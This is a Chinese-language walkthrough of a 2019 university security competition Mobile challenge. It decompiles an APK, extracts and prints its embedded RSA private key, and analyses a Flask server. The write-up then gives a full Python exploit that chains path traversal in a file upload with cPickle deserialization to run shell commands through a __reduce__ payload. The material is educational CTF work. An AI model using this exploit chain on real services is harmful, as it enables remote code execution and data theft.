0%

2019年全国大学生信息安全竞赛(华中赛区)线下赛Mobile

比赛的时候对很多东西不熟悉,导致没做出来,赛后复现一下,理清楚流程后会做的很顺利

0x00

下载的压缩包里有两个文件,一个是服务端index.py,一个是.apk文件,把apk拖入安卓模拟器安装运行一下,会要我们输入一个服务端的ip地址,我们运行下index.py就可以开启服务端了

由于服务端和解题用的几个python库Kali都自带了,所以为了方便在Kali上写exp,只有以下几个工具是在Win10上运行的:

相关工具:

安卓模拟器(这里用的雷电模拟器)
dex2jar-2.0
jd-gui

相关的ip地址:

WIN10 : 192.168.41.1
Kali : 192.168.41.8

0x01 APK分析

服务端用的5000端口,开启服务端后,在运行的apk上输入 192.168.41.8:5000 后点set按钮,可以看到服务端有正确的响应

-1.bmp

0.bmp

把apk后缀改成zip解压,有个classes.dex,用dex2jar把他转成jar

d2j-dex2jar.bat classes.dex

会报个错,不用理会,用jd-gui打开jar文件

1.bmp

函数比较少,前面我们点set按钮后有个post请求,应该就是调用了post这个函数,再搜索一下哪个地方调用了post函数,可以找到runnable这里

2.bmp

post接收两个参数,第一个是根据我们的输入拼接的url:http://192.168.41.8:5000/,第二个是一个将一个JSON对象转换成字符串后再用私钥加密的字符串,JSON对象里存了IMEI,手机型号等信息

_private_encrypto_接收一个字符串参数,将其加密,私钥为Integer.valueOf(1)

3.bmp

4.bmp

将密钥提取出来,补上BEGIN和END,把所有\n删掉再换行,存为key.pem

-----BEGIN RSA PRIVATE KEY-----
MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBAKq1dQhWg9RwFXVa
XeDysYY28xgiaidB0wLVjxRLAjB/tjQZwE/+Hp8Ak8BL3/+phnPLxl8MofX57OJ8
UUJRMIJr/xpgWiazbbeiTLN5OVQhEdsiS2jUnFg5rNuwTr4qYT7ImKKPjzf1Ji4L
UqwtZPza4cQDcdq78NPNbiDjGG/NAgMBAAECgYBUdazusCdPbxke09QI3Oq6VeuW
cEiHHckx6Ml+p9Hwfu99/ZOpwDgUQSvZA3FTQ+PS3OpL0qs7USlDsXBe2F6gCZ/e
1BvkEPE/FymHbzbSpr8BwjEel/kup842z11SujNxHbeznrXKNfvDlqR5HM7CurYE
rBW0X8She8lNAqXBXQJBANj3pPvSHFQ4ugkWst6XCX/gd5vQuvPzeUwHpReSdRsm
A6Jmv8oP03MQzjvsyrMoPatMzhN5Qtfpw12Febfl1pcCQQDJa2RGtK2jCiKxzKcb
Up9pPiSxtsdavneKoCG/tndICyGfeT1NRGSQsJCHIhxdee4QQYWUrzhbFBLLZDq4
sj07AkEAykt0T7si4MAXbPv2AKZQnCN9QhGHDof3k5UZL/ZFK+/wuY4Vyl+hJosH
z0XD5PFjNoGhLvUEBu6VUnBuAbHRtwJBAKysnHLhQlqbvdKfmEMcOf2HgP25rH5m
+ySk00n/q5LfuBt3XM54653/QGgZHigk96qIAXTOIooyU0p6yry8UTECQQCy8tuf
lq8/8ISRdkHixENX+APeYr4hjmn5mUFJgB4qFUp1ReR0nA2oGf6IkzAWEwLvEchu
KMtF7eEv1kHS+3Wd
-----END RSA PRIVATE KEY-----

0x02 index.py分析

服务端是用flask框架写的,用的几个库:

1
2
from flask import Flask,request
import cPickle,json,re,M2Crypto

M2Crypto是一个加密的库,Kali上自带了,要在WIN10下安装比较麻烦。cPickle可以对python对象序列化与反序列化

index.py代码的大致结构如下:

├──Classes
|  └── Phone
|   └── __init__(self, makers='', model='', language='', Android='', IMEI='')
├── Functions
  ├── public_decrypt(msg)
  ├── hello()
  ├── search()
  ├── upload()
  └── check()

完整代码看index.py,下面逐个分析上面这几个东西

先看_publicdecrypt,获取一个msg,用公钥来解密它

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def public_decrypt(msg):
sign_pub='''
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqtXUIVoPUcBV1Wl3g8rGGNvMY
ImonQdMC1Y8USwIwf7Y0GcBP/h6fAJPAS9//qYZzy8ZfDKH1+ezifFFCUTCCa/8a
YFoms223okyzeTlUIRHbIkto1JxYOazbsE6+KmE+yJiij4839SYuC1KsLWT82uHE
A3Hau/DTzW4g4xhvzQIDAQAB
-----END PUBLIC KEY-----
'''
bio = M2Crypto.BIO.MemoryBuffer(sign_pub)
rsa_pub = M2Crypto.RSA.load_pub_key_bio(bio)
ctxt_pri = msg.decode("base64")
output = rsa_pub.public_decrypt(ctxt_pri, M2Crypto.RSA.pkcs1_padding) #公钥解密
return output

一般来说都是公钥加密私钥解密,但这里是私钥加密公钥解密

定义了一个类,存了一些IMEI,手机品牌之类的东西

1
2
3
4
5
6
7
class Phone(object):
def __init__(self,makers='',model='',language='',Android='',IMEI=''):
self.makers = makers
self.model = model
self.language = language
self.Android = Android
self.IMEI = IMEI

访问http://192.168.41.8:5000/的时候会执行 hello

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route("/",methods=['POST','GET'])
def hello():
try:
data = public_decrypt(request.data) #解密
phone = json.loads(data) #转字典
imei = phone["IMEI"]
if re.match("^\d{15}$",imei): #用IMEI正则匹配是否是长度为15的纯数字字符串
file = open("./phone/"+imei,'wb')
newPhone = Phone(phone["makers"],phone["model"],phone["language"],phone["Android"],phone["IMEI"])
phonestring = cPickle.dump(newPhone,file) #序列化保存到文件
except Exception as e:
print e
return ""

获得从apk发送的 request.data 并解密,转成字典,用IMEI正则匹配是否是长度为15的纯数字字符串,是的话创建一个phone对象,将其序列化写入phone目录下,文件名是IMEI的值

访问192.168.41.8:5000/search的时候会执行 search

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route("/search",methods=['POST','GET'])
def search():
try:
print "xxxx"+request.form.get("imei")
imei = public_decrypt(request.form.get("imei"))
if re.match("^\d{15}$",imei): #用IMEI正则匹配是否是长度为15的纯数字字符串
f = open("./phone/"+imei)
phone = cPickle.load(f)
return phone.makers+'\n'+phone.model+'\n'+phone.language+'\n'+phone.Android+'\n'+phone.IMEI
except Exception as e:
print e
return ""
return ""

从表单获取加密过的imei并解密,正则匹配,是15个数字的话加载相应的文件将其反序列化

访问192.168.41.8:5000/upload的时候会执行 upload

1
2
3
4
5
6
7
8
9
@app.route("/upload",methods=['POST','GET'])
def upload():
try:
f = request.files['myfile']
f.save("./image/"+f.filename)
except Exception as e:
print e
return ""
return ""

获取上传的文件保存到image目录下,注意到upload没有正则匹配

访问192.168.41.8:5000/check的时候会执行 check

1
2
3
4
5
6
7
8
9
10
11
@app.route("/check",methods=['POST','GET'])
def check():
try:
name = request.form.get('myfile')
if re.match("^\d{15}$",name):
f = open("./image/"+name,"rb")
return f.read()
except Exception as e:
print e
return ""
return ""

从表单获取文件名,正则匹配,是15个数字的话在返回文件内容

这几个函数都不复杂,由于 upload 获取文件名时没有正则匹配,可以输入带有 ./ 的文件名,意味着可以在任意路径下写

search函数可以把phone目录下的文件反序列化,那么我们可以构造一个序列化文件,将其上传到phone目录下,再调用search就可以反序列化,执行我们的代码

0x03 构建exp

流程: 创建序列化文件 --> upload --> search --> 任意代码执行

创建序列化文件

构建一个类,添加一个 __reduce__() 魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
import cPickle

phone_name = '865166025111652'
flag_name = '111111111111111'

class A(object):
def __reduce__(self):
return (__import__('os').system, ('cat flag > ./image/' + flag_name,))

file = open(phone_name,'wb')
a = A()
cPickle.dump(a, file)
file.close()

漏洞产生的原因在于其可以将自定义的类进行序列化和反序列化,反序列化后产生的对象会在结束时触发__reduce__()函数从而触发恶意代码,序列化文件名只要是15个数字即可

这里为了方便,直接将读取的flag写入image文件夹下,最后可以用 check 函数读出来,也有其他方法获取flag

上传到服务端

注意设置的文件名要在前面加 ../phone/,将其写入phone目录下

1
2
3
4
5
6
7
8
import requests

def upload_file():
url = 'http://192.168.41.8:5000/upload'
files = {'myfile': ('../phone/' + phone_name, open(phone_name, 'rb'))}
requests.post(url, files=files)

upload_file()

加密文件名

由于search 接受的是一个经过私钥加密的字符串,所以我们要先将IMEI加密,再post

1
2
3
4
5
6
7
8
9
10
11
import M2Crypto

#私钥加密,公钥解密
def private_encrypt(msg, file_name):
rsa_pri = M2Crypto.RSA.load_key(file_name)
ctxt_pri = rsa_pri.private_encrypt(msg, M2Crypto.RSA.pkcs1_padding)
ctxt64_pri = ctxt_pri.encode('base64')
print (ctxt64_pri)
return ctxt64_pri

imei = private_encrypt(phone_name, 'key.pem') #key.pem是之前从apk中提取出来的私钥

这一步可以修改下index.py里的_publicdecrypt函数输出 msg 和解密后的 output,验证下这个函数加密出来的内容和apk加密的是否一致

反序列化 & 输出flag

触发search函数,反序列化执行代码,再用check函数读出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
def deserialization():
url = 'http://192.168.41.8:5000/search'
data = {'imei':imei}
requests.post(url, data)

def get_flag():
url = 'http://192.168.41.8:5000/check'
data = {'myfile':'865166025111652'}
r = requests.post(url, data)
print(r.text)

deserialization()
get_flag()

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import cPickle
import requests
import M2Crypto

phone_name = '865166025111652' #序列化的文件名
flag_name = '111111111111111' #flag的文件名

class A(object):
def __reduce__(self):
return (__import__('os').system, ('cat flag > ./image/' + flag_name,))

#私钥加密,公钥解密
def private_encrypt(msg, file_name):
rsa_pri = M2Crypto.RSA.load_key(file_name)
ctxt_pri = rsa_pri.private_encrypt(msg, M2Crypto.RSA.pkcs1_padding)
ctxt64_pri = ctxt_pri.encode('base64')
print ctxt64_pri
return ctxt64_pri

#上传文件
def upload_file():
url = 'http://192.168.41.8:5000/upload'
files = {'myfile': ('../phone/' + phone_name, open(phone_name, 'rb'))}
requests.post(url, files=files)

#反序列化
def deserialization():
url = 'http://192.168.41.8:5000/search'
data = {'imei' : imei}
requests.post(url, data)

#获取flag
def get_flag():
url = 'http://192.168.41.8:5000/check'
data = {'myfile' : flag_name}
r = requests.post(url, data)
print r.text

file = open(phone_name,'wb')
a = A()
cPickle.dump(a, file) #序列化
file.close()

upload_file() #上传序列化文件

imei = private_encrypt(phone_name, 'key.pem') #key.pem是之前从apk中提取出来的私钥

deserialization() #反序列化

get_flag()

6.bmp

0x04 Reference

(Python)cPickle反序列化漏洞

Python 之 cPickle用法

M2Crypto RSA加密、解密的实例介绍

12.Python使用requests发送post请求

python3 post方式上传文件。

0x05 附件

题目压缩包: https://pan.baidu.com/s/1iBdJigY46Rv0r22pWm15qA 提取码: hmah